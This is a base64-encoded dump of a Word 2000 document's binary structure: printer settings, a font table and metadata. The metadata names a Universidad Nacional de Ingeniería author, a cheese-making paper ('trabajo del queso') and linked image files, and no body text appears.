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 AAAAAQABAAAAAQAAAAAAAACRAQAAEIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAClBsAHeAB4AIABEjAAABAAGQBkAAAAGQAAAOhhAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAUyg1EAABCE/wMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//xIAAAAA AAAAIgBVAE4ASQBWAEUAUgBTAEkARABBAEQAIABOAEEAQwBJAE8ATgBBAEwAIABEAEUAIABJ AE4ARwBFAE4ASQBFAFIAzQBBAAAAAAAAAAAAGwBSAGUAbgDpACAATQBhAHIAYwBlAGwAIABJ AG4AYwBlAHIAIABTAG8AbQBhAHIAcgBpAGIAYQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7/AAAEWgIA AAAAAAAAAAAAAAAAAAAAAAEAAADghZ/y+U9oEKuRCAArJ7PZMAAAAIABAAAQAAAAAQAAAIgA AAACAAAAkAAAAAMAAAC8AAAABAAAAMgAAAAFAAAA1AAAAAcAAADgAAAACAAAAPAAAAAJAAAA FAEAABIAAAAgAQAACgAAADwBAAAMAAAASAEAAA0AAABUAQAADgAAAGABAAAPAAAAaAEAABAA AABwAQAAEwAAAHgBAAACAAAA5AQAAB4AAAAjAAAAVU5JVkVSU0lEQUQgTkFDSU9OQUwgREUg SU5HRU5JRVLNQQBzHgAAAAEAAAAATklWHgAAAAEAAAAATklWHgAAAAEAAAAATklWHgAAAAcA AABOb3JtYWwASR4AAAAcAAAAUmVu6SBNYXJjZWwgSW5jZXIgU29tYXJyaWJhAB4AAAACAAAA OQBu6R4AAAATAAAATWljcm9zb2Z0IFdvcmQgOS4wAG9AAAAAAKaaQRQAAABAAAAAAHRQ87wT wQFAAAAAABrrNNETwQEDAAAAAQAAAAMAAAD8DQAAAwAAALpPAAADAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/wAABFoCAAAAAAAAAAAA AAAAAAAAAAACAAAAAtXN1ZwuGxCTlwgAKyz5rkQAAAAF1c3VnC4bEJOXCAArLPmuUAEAAAwB AAAMAAAAAQAAAGgAAAAPAAAAcAAAAAUAAAB8AAAABgAAAIQAAAARAAAAjAAAABcAAACUAAAA CwAAAJwAAAAQAAAApAAAABMAAACsAAAAFgAAALQAAAANAAAAvAAAAAwAAADrAAAAAgAAAOQE AAAeAAAAAQAAAAAAdwADAAAAqgAAAAMAAAAoAAAAAwAAAOhhAAADAAAA/AoJAAsAAAAAAAAA CwAAAAAAAAALAAAAAAAAAAsAAAAAAAAAHhAAAAEAAAAjAAAAVU5JVkVSU0lEQUQgTkFDSU9O QUwgREUgSU5HRU5JRVLNQQAMEAAAAgAAAB4AAAAHAAAAVO10dWxvAAMAAAABAAAAAAAYAwAA AwAAAAAAAAAgAAAAAQAAADgAAAACAAAAQAAAAAEAAAACAAAADAAAAF9QSURfSExJTktTAAIA AADkBAAAQQAAANACAAAkAAAAAwAAAAcAKgADAAAApGQAAAMAAAADBAAAAwAAAAEAAAAfAAAA KgAAAEQAOgBcAGQAbwB3AG4AbABvAGEAZABzAFwAaQBtAGEAZwBlAG4AZQBzAFwAYwBhAHYA YQBzAG0AYQBkAHUAcgBhAGMAaQBvAG4ALgBqAHAAZwAAAB8AAAABAAAAAAAAAAMAAAAjAFwA AwAAAKdkAAADAAAABQQAAAMAAAABAAAAHwAAAB8AAABEADoAXABkAG8AdwBuAGwAbwBhAGQA cwBcAGkAbQBhAGcAZQBuAGUAcwBcAGYAYQBiADMALgBqAHAAZwAAAAAAHwAAAAEAAAAAAAAA AwAAACMAXQADAAAAqWQAAAMAAAAEBAAAAwAAAAEAAAAfAAAAHwAAAEQAOgBcAGQAbwB3AG4A bABvAGEAZABzAFwAaQBtAGEAZwBlAG4AZQBzAFwAZgBhAGIAMgAuAGoAcABnAAAAAAAfAAAA AQAAAAAAAAADAAAAIwBbAAMAAACrZAAAAwAAAAEEAAADAAAAAQAAAB8AAAAfAAAARAA6AFwA ZABvAHcAbgBsAG8AYQBkAHMAXABpAG0AYQBnAGUAbgBlAHMAXABmAGEAYgA0AC4AagBwAGcA AAAAAB8AAAABAAAAAAAAAAMAAAAjAFoAAwAAAKxkAAADAAAAAgQAAAMAAAABAAAAHwAAAB8A AABEADoAXABkAG8AdwBuAGwAbwBhAGQAcwBcAGkAbQBhAGcAZQBuAGUAcwBcAGYAYQBiADUA LgBqAHAAZwAAAAAAHwAAAAEAAAAAAAAAAwAAACMAXgADAAAAr2QAAAMAAAAGBAAAAwAAAAEA AAAfAAAAHwAAAEQAOgBcAGQAbwB3AG4AbABvAGEAZABzAFwAaQBtAGEAZwBlAG4AZQBzAFwA ZgBhAGIAMQAuAGoAcABnAAAAAAAfAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 